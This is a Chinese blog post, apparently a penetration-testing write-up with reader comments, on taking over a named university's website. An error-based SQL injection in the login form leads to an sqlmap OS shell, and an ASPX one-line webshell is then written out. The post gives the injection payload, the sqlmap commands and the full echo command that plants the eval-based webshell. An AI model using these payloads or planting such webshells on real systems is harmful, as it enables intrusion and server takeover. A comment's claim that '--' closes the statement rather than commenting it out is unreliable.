Mucn
[渗透实战] sql注入到getshell
05/15
- 漏洞点:河南财贸大学
- 漏洞状态:以修复
- 漏洞类型:post注入
- 简介:sql注入user为高权限,sqlmap --os-shell功能cmd写入一句话木马。
- 注入点登录处
账号填:123' and 1=db_name()--
密码随便
验证码第一次填对
- 解释:
123' 单引号对sql语句进行闭合
and 让and后语句拼接到sql语句中
db_name() 为函数
1=db_name() 使str型的数据转换为int类型,无法转换会报错。
-- 闭合sql语句
- 抓包,包内容写入txt中
sqlmap进行自动注入
查看user(查看网站用户权限)sqlmap -r post数据包 --current-user
权限为sa(高权限)
此处备注:由图一报错信息可以得到网站路径
- 尝试--os-shell功能
sqlmap -r post数据包 --os-shell
成功使用os-shell
使用cmd命令写入一句话aspx木马
echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["chopper"],"unsafe");%^> >d:Stdu-JXJYGLPT-2019117GlxtWebmmmm.aspx
解释:使用^转义<(前面命令注入那篇说过)
- 菜刀连接
结束。
有问题下面提。
卧槽不小心把评论删了。
问题:--为什么是闭合
答:大佬写法,具体原因不详[脸黑]
参考mssql盲注:百度WAITFOR DELAY '0:0:4' --
啊,原来是这样,谢谢大佬
大师傅大师傅,请问你一开开始 账号填:123' and 1=db_name()-- 这个语句后面的--后面有加空格吗??还是这里可以不加空格啊??来自菜鸡的疑问
这里没有空格的 这是闭合 不是注释
不好意思,是菜鸡唐突了,上面的请无视,就是无法转换类型会报错哪里,出现报错就代表可能存在注入吗??这里菜鸡不是很难懂,希望大师傅可以指点一下
主要看报错信息内容判断存不存在注入
也就是这里的报错把那个db_name函数执行了,如果它不存在注入那个数据库名yjxxxx就不会显示,而是只显示db_name这样吗?